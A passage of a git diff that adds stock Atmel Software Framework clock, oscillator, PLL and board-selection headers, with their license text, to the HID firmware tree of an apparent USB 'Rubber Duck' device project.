== STK600_RCUC3D + #include "stk600/rcuc3d/stk600_rcuc3d.h" +#elif BOARD == STK600_RCUC3C0 + #include "stk600/rcuc3c0/stk600_rcuc3c0.h" +#elif BOARD == XMEGA_A1_XPLAINED + #include "xmega_a1_xplained/xmega_a1_xplained.h" +#elif BOARD == UC3_L0_XPLAINED_BC + #include "uc3_l0_xplained_bc/uc3_l0_xplained_bc.h" +#elif BOARD == MEGA1284P_XPLAINED_BC + #include "mega1284p_xplained_bc/mega1284p_xplained_bc.h" +#elif BOARD == UC3_L0_QT600 + #include "uc3_l0_qt600/uc3_l0_qt600.h" +#elif BOARD == USER_BOARD + // User-reserved area: #include the header file of your board here (if any). + #include "user_board.h" +#elif BOARD == DUMMY_BOARD + #include "dummy/dummy_board.h" +#else + #error No known AVR board defined +#endif + +#if (defined EXT_BOARD) + #if EXT_BOARD == MC300 + #include "mc300/mc300.h" + #elif (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_2) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_A1) || \ + (EXT_BOARD == SENSORS_XPLAINED_PRESSURE_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_LIGHT_1) + #include "sensors_xplained/sensors_xplained.h" + #elif EXT_BOARD == USER_EXT_BOARD + // User-reserved area: #include the header file of your extension board here + // (if any). + #endif +#endif + + +#if (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); + +#endif // #ifdef __AVR32_ABI_COMPILER__ +#else +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); +#endif + + +#ifdef __cplusplus +} +#endif + +#endif // _BOARD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h new file mode 100755 index 0000000..05f0783 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h @@ -0,0 +1,136 @@ +/** + * \file + * + * \brief Generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_GENCLK_H_INCLUDED +#define CLK_GENCLK_H_INCLUDED + +#include + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/genclk.h" +#elif UC3A3 +# include "uc3a3_a4/genclk.h" +#elif UC3B +# include "uc3b0_b1/genclk.h" +#elif UC3C +# include "uc3c/genclk.h" +#elif UC3D +# include "uc3d/genclk.h" +#elif UC3L +# include "uc3l/genclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup genclk_group Generic Clock Management + * + * Generic clocks are configurable clocks which run outside the system + * clock domain. They are often connected to peripherals which have an + * asynchronous component running independently of the bus clock, e.g. + * USB controllers, low-power timers and RTCs, etc. + * + * Note that not all platforms have support for generic clocks; on such + * platforms, this API will not be available. + * + * @{ + */ + +/** + * \def GENCLK_DIV_MAX + * \brief Maximum divider supported by the generic clock implementation + */ +/** + * \enum genclk_source + * \brief Generic clock source ID + * + * Each generic clock may be generated from a different clock source. + * These are the available alternatives provided by the chip. + */ + +//! \name Generic clock configuration +//@{ +/** + * \struct genclk_config + * \brief Hardware representation of a set of generic clock parameters + */ +/** + * \fn void genclk_config_defaults(struct genclk_config *cfg, + * unsigned int id) + * \brief Initialize \a cfg to the default configuration for the clock + * identified by \a id. + */ +/** + * \fn void genclk_config_read(struct genclk_config *cfg, unsigned int id) + * \brief Read the currently active configuration of the clock + * identified by \a id into \a cfg. + */ +/** + * \fn void genclk_config_write(const struct genclk_config *cfg, + * unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id. + */ +/** + * \fn void genclk_config_set_source(struct genclk_config *cfg, + * enum genclk_source src) + * \brief Select a new source clock \a src in configuration \a cfg. + */ +/** + * \fn void genclk_config_set_divider(struct genclk_config *cfg, + * unsigned int divider) + * \brief Set a new \a divider in configuration \a cfg. + */ +//@} + +//! \name Enabling and disabling Generic Clocks +//@{ +/** + * \fn void genclk_enable(const struct genclk_config *cfg, unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id and enable it. + */ +/** + * \fn void genclk_disable(unsigned int id) + * \brief Disable the generic clock identified by \a id. + */ +//@} + +//! @} + +#endif /* CLK_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h new file mode 100755 index 0000000..8429b85 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h @@ -0,0 +1,145 @@ +/** + * \file + * + * \brief Oscillator management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef OSC_H_INCLUDED +#define OSC_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/osc.h" +#elif UC3A3 +# include "uc3a3_a4/osc.h" +#elif UC3B +# include "uc3b0_b1/osc.h" +#elif UC3C +# include "uc3c/osc.h" +#elif UC3D +# include "uc3d/osc.h" +#elif UC3L +# include "uc3l/osc.h" +#elif XMEGA +# include "xmega/osc.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup osc_group Oscillator Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip oscillators. Internal RC-oscillators, + * external crystal oscillators and external clock generators are + * supported by this module. What all of these have in common is that + * they swing at a fixed, nominal frequency which is normally not + * adjustable. + * + * \par Example: Enabling an oscillator + * + * The following example demonstrates how to enable the external + * oscillator on XMEGA A and wait for it to be ready to use. The + * oscillator identifiers are platform-specific, so while the same + * procedure is used on all platforms, the parameter to osc_enable() + * will be different from device to device. + * \code + osc_enable(OSC_ID_XOSC); + osc_wait_ready(OSC_ID_XOSC); \endcode + * + * \section osc_group_board Board-specific Definitions + * If external oscillators are used, the board code must provide the + * following definitions for each of those: + * - \b BOARD_ _HZ: The nominal frequency of the oscillator. + * - \b BOARD_ _STARTUP_US: The startup time of the + * oscillator in microseconds. + * - \b BOARD_ _TYPE: The type of oscillator connected, i.e. + * whether it's a crystal or external clock, and sometimes what kind + * of crystal it is. The meaning of this value is platform-specific. + * + * @{ + */ + +//! \name Oscillator Management +//@{ +/** + * \fn void osc_enable(uint8_t id) + * \brief Enable oscillator \a id + * + * The startup time and mode value is automatically determined based on + * definitions in the board code. + */ +/** + * \fn void osc_disable(uint8_t id) + * \brief Disable oscillator \a id + */ +/** + * \fn osc_is_ready(uint8_t id) + * \brief Determine whether oscillator \a id is ready. + * \retval true Oscillator \a id is running and ready to use as a clock + * source. + * \retval false Oscillator \a id is not running. + */ +/** + * \fn uint32_t osc_get_rate(uint8_t id) + * \brief Return the frequency of oscillator \a id in Hz + */ + +#ifndef __ASSEMBLY__ + +/** + * \brief Wait until the oscillator identified by \a id is ready + * + * This function will busy-wait for the oscillator identified by \a id + * to become stable and ready to use as a clock source. + * + * \param id A number identifying the oscillator to wait for. + */ +static inline void osc_wait_ready(uint8_t id) +{ + while (!osc_is_ready(id)) { + /* Do nothing */ + } +} + +#endif /* __ASSEMBLY__ */ + +//@} + +//! @} + +#endif /* OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h new file mode 100755 index 0000000..61056bf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h @@ -0,0 +1,277 @@ +/** + * \file + * + * \brief PLL management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_PLL_H_INCLUDED +#define CLK_PLL_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/pll.h" +#elif UC3A3 +# include "uc3a3_a4/pll.h" +#elif UC3B +# include "uc3b0_b1/pll.h" +#elif UC3C +# include "uc3c/pll.h" +#elif UC3D +# include "uc3d/pll.h" +#elif XMEGA +# include "xmega/pll.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup pll_group PLL Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip PLLs. A PLL will take an input signal + * (the \em source), optionally divide the frequency by a configurable + * \em divider, and then multiply the frequency by a configurable \em + * multiplier. + * + * Some devices don't support input dividers; specifying any other + * divisor than 1 on these devices will result in an assertion failure. + * Other devices may have various restrictions to the frequency range of + * the input and output signals. + * + * \par Example: Setting up PLL0 with default parameters + * + * The following example shows how to configure and enable PLL0 using + * the default parameters specified using the configuration symbols + * listed above, and with Wide Bandwidth Mode disabled (a UC3A3-specific + * PLL option.) + * \code + struct pll_config pllcfg; + + pll_config_defaults(&pllcfg, 0); + pll_config_set_option(&pllcfg, PLL_OPT_WBM_DISABLE); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); \endcode + * + * When the last function call returns, PLL0 is ready to be used as the + * main system clock source. + * + * \section pll_group_config Configuration Symbols + * + * Each PLL has a set of default parameters determined by the following + * configuration symbols in the application's configuration file: + * - \b CONFIG_PLLn_SOURCE: The default clock source connected to the + * input of PLL \a n. Must be one of the values defined by the + * #pll_source enum. + * - \b CONFIG_PLLn_MUL: The default multiplier (loop divider) of PLL + * \a n. + * - \b CONFIG_PLLn_DIV: The default input divider of PLL \a n. + * + * These configuration symbols determine the result of calling + * pll_config_defaults() and pll_get_default_rate(). + * + * @{ + */ + +//! \name Chip-specific PLL characteristics +//@{ +/** + * \def PLL_MAX_STARTUP_CYCLES + * \brief Maximum PLL startup time in number of slow clock cycles + */ +/** + * \def NR_PLLS + * \brief Number of on-chip PLLs + */ + +/** + * \def PLL_MIN_HZ + * \brief Minimum frequency that the PLL can generate + */ +/** + * \def PLL_MAX_HZ + * \brief Maximum frequency that the PLL can generate + */ +/** + * \def PLL_NR_OPTIONS + * \brief Number of PLL option bits + */ +//@} + +/** + * \enum pll_source + * \brief PLL clock source + */ + +//! \name PLL configuration +//@{ + +/** + * \struct pll_config + * \brief Hardware-specific representation of PLL configuration. + * + * This structure contains one or more device-specific values + * representing the current PLL configuration. The contents of this + * structure is typically different from platform to platform, and the + * user should not access any fields except through the PLL + * configuration API. + */ + +/** + * \fn void pll_config_init(struct pll_config *cfg, + * enum pll_source src, unsigned int div, unsigned int mul) + * \brief Initialize PLL configuration from standard parameters. + * + * \note This function may be defined inline because it is assumed to be + * called very few times, and usually with constant parameters. Inlining + * it will in such cases reduce the code size significantly. + * + * \param cfg The PLL configuration to be initialized. + * \param src The oscillator to be used as input to the PLL. + * \param div PLL input divider. + * \param mul PLL loop divider (i.e. multiplier). + * + * \return A configuration which will make the PLL run at + * (\a mul / \a div) times the frequency of \a src + */ +/** + * \def pll_config_defaults(cfg, pll_id) + * \brief Initialize PLL configuration using default parameters. + * + * After this function returns, \a cfg will contain a configuration + * which will make the PLL run at (CONFIG_PLLx_MUL / CONFIG_PLLx_DIV) + * times the frequency of CONFIG_PLLx_SOURCE. + * + * \param cfg The PLL configuration to be initialized. + * \param pll_id Use defaults for this PLL. + */ +/** + * \def pll_get_default_rate(pll_id) + * \brief Get the default rate in Hz of \a pll_id + */ +/** + * \fn void pll_config_set_option(struct pll_config *cfg, + * unsigned int option) + * \brief Set the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be set. + */ +/** + * \fn void pll_config_clear_option(struct pll_config *cfg, + * unsigned int option) + * \brief Clear the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be cleared. + */ +/** + * \fn void pll_config_read(struct pll_config *cfg, unsigned int pll_id) + * \brief Read the currently active configuration of \a pll_id. + * + * \param cfg The configuration object into which to store the currently + * active configuration. + * \param pll_id The ID of the PLL to be accessed. + */ +/** + * \fn void pll_config_write(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg on \a pll_id + * + * \param cfg The configuration object representing the PLL + * configuration to be activated. + * \param pll_id The ID of the PLL to be updated. + */ + +//@} + +//! \name Interaction with the PLL hardware +//@{ +/** + * \fn void pll_enable(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg and enable PLL \a pll_id. + * + * \param cfg The PLL configuration to be activated. + * \param pll_id The ID of the PLL to be enabled. + */ +/** + * \fn void pll_disable(unsigned int pll_id) + * \brief Disable the PLL identified by \a pll_id. + * + * After this function is called, the PLL identified by \a pll_id will + * be disabled. The PLL configuration stored in hardware may be affected + * by this, so if the caller needs to restore the same configuration + * later, it should either do a pll_config_read() before disabling the + * PLL, or remember the last configuration written to the PLL. + * + * \param pll_id The ID of the PLL to be disabled. + */ +/** + * \fn bool pll_is_locked(unsigned int pll_id) + * \brief Determine whether the PLL is locked or not. + * + * \param pll_id The ID of the PLL to check. + * + * \retval true The PLL is locked and ready to use as a clock source + * \retval false The PLL is not yet locked, or has not been enabled. + */ + +/** + * \brief Wait for PLL \a pll_id to become locked + * + * \todo Use a timeout to avoid waiting forever and hanging the system + * + * \param pll_id The ID of the PLL to wait for. + * + * \retval STATUS_OK The PLL is now locked. + * \retval ERR_TIMEOUT Timed out waiting for PLL to become locked. + */ +static inline int pll_wait_for_lock(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + while (!pll_is_locked(pll_id)) { + /* Do nothing */ + } + + return 0; +} + +//@} +//! @} + +#endif /* CLK_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h new file mode 100755 index 0000000..d106ebf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h @@ -0,0 +1,150 @@ +/** + * \file + * + * \brief System clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SYSCLK_H_INCLUDED +#define SYSCLK_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/sysclk.h" +#elif UC3A3 +# include "uc3a3_a4/sysclk.h" +#elif UC3B +# include "uc3b0_b1/sysclk.h" +#elif UC3C +# include "uc3c/sysclk.h" +#elif UC3D +# include "uc3d/sysclk.h" +#elif UC3L +# include "uc3l/sysclk.h" +#elif XMEGA +# include "xmega/sysclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \defgroup clk_group Clock Management + */ + +/** + * \ingroup clk_group + * \defgroup sysclk_group System Clock Management + * + * The sysclk API covers the system clock and all + * clocks derived from it. The system clock is a chip-internal clock on + * which all synchronous clocks, i.e. CPU and bus/peripheral + * clocks, are based. The system clock is typically generated from one + * of a variety of sources, which may include crystal and RC oscillators + * as well as PLLs. The clocks derived from the system clock are + * sometimes also known as synchronous clocks, since they + * always run synchronously with respect to each other, as opposed to + * generic clocks which may run from different oscillators or + * PLLs. + * + * Most applications should simply call sysclk_init() to initialize + * everything related to the system clock and its source (oscillator, + * PLL or DFLL), and leave it at that. More advanced applications, and + * platform-specific drivers, may require additional services from the + * clock system, some of which may be platform-specific. + * + * \section sysclk_group_platform Platform Dependencies + * + * The sysclk API is partially chip- or platform-specific. While all + * platforms provide mostly the same functionality, there are some + * variations around how different bus types and clock tree structures + * are handled. + * + * The following functions are available on all platforms with the same + * parameters and functionality. These functions may be called freely by + * portable applications, drivers and services: + * - sysclk_init() + * - sysclk_set_source() + * - sysclk_get_main_hz() + * - sysclk_get_cpu_hz() + * - sysclk_get_peripheral_bus_hz() + * + * The following functions are available on all platforms, but there may + * be variations in the function signature (i.e. parameters) and + * behaviour. These functions are typically called by platform-specific + * parts of drivers, and applications that aren't intended to be + * portable: + * - sysclk_enable_peripheral_clock() + * - sysclk_disable_peripheral_clock() + * - sysclk_enable_module() + * - sysclk_disable_module() + * - sysclk_module_is_enabled() + * - sysclk_set_prescalers() + * + * All other functions should be considered platform-specific. + * Enabling/disabling clocks to specific peripherals as well as + * determining the speed of these clocks should be done by calling + * functions provided by the driver for that peripheral. + * + * @{ + */ + +//! \name System Clock Initialization +//@{ +/** + * \fn void sysclk_init(void) + * \brief Initialize the synchronous clock system. + * + * This function will initialize the system clock and its source. This + * includes: + * - Mask all synchronous clocks except for any clocks which are + * essential for normal operation (for example internal memory + * clocks). + * - Set up the system clock prescalers as specified by the + * application's configuration file. + * - Enable the clock source specified by the application's + * configuration file (oscillator or PLL) and wait for it to become + * stable. + * - Set the main system clock source to the clock specified by the + * application's configuration file. + * + * Since all non-essential peripheral clocks are initially disabled, it + * is the responsibility of the peripheral driver to re-enable any + * clocks that are needed for normal operation. + */ +//@} + +//! @} + +#endif /* SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h new file mode 100755 index 0000000..7e9de8c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h @@ -0,0 +1,129 @@ +/** + * \file + * + * \brief Chip-specific generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_GENCLK_H_INCLUDED +#define CHIP_GENCLK_H_INCLUDED + +/** + * \weakgroup genclk_group + * @{ + */ + +//! \name Chip-specific generic clock definitions +//@{ + +//! The max division factor applicable to the source clock of the generic clock +#define GENCLK_DIV_MAX ((1 << AVR32_PM_GCCTRL_DIV_SIZE) * 2) + +#ifndef __ASSEMBLY__ + +#include +#include + +enum genclk_source { + GENCLK_SRC_OSC0 = 0, //!< Oscillator 0 + GENCLK_SRC_OSC1 = 1, //!< Oscillator 1 + GENCLK_SRC_PLL0 = 2, //!< PLL 0 + GENCLK_SRC_PLL1 = 3, //!< PLL 1 +}; + +//@} + +struct genclk_config { + uint32_t ctrl; +}; + +static inline void genclk_config_defaults(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = 0; +} + +static inline void genclk_config_read(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = AVR32_PM.gcctrl[id]; +} + +static inline void genclk_config_write(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl; +} + +static inline void genclk_config_set_source(struct genclk_config *cfg, + enum genclk_source src) +{ + uint32_t mask; + + mask = AVR32_PM_GCCTRL_OSCSEL_MASK | AVR32_PM_GCCTRL_PLLSEL_MASK; + Assert(!(src & ~mask)); + + cfg->ctrl = (cfg->ctrl & ~mask) | (src << AVR32_PM_GCCTRL_OSCSEL); +} + +static inline void genclk_config_set_divider(struct genclk_config *cfg, + unsigned int divider) +{ + Assert((divider > 0) && (divider <= GENCLK_DIV_MAX)); + + /* Clear all the bits we're about to modify */ + cfg->ctrl &= ~(AVR32_PM_GCCTRL_DIVEN_MASK | AVR32_PM_GCCTRL_DIV_MASK); + + if (divider > 1) { + cfg->ctrl |= 1U << AVR32_PM_GCCTRL_DIVEN; + cfg->ctrl |= ((divider >> 1) - 1) << AVR32_PM_GCCTRL_DIV; + } +} + +static inline void genclk_enable(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN); +} + +static inline void genclk_disable(unsigned int id) +{ + AVR32_PM.gcctrl[id] = 0; +} + + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h new file mode 100755 index 0000000..3626f63 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h @@ -0,0 +1,431 @@ +/** + * \file + * + * \brief Chip-specific oscillator management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN 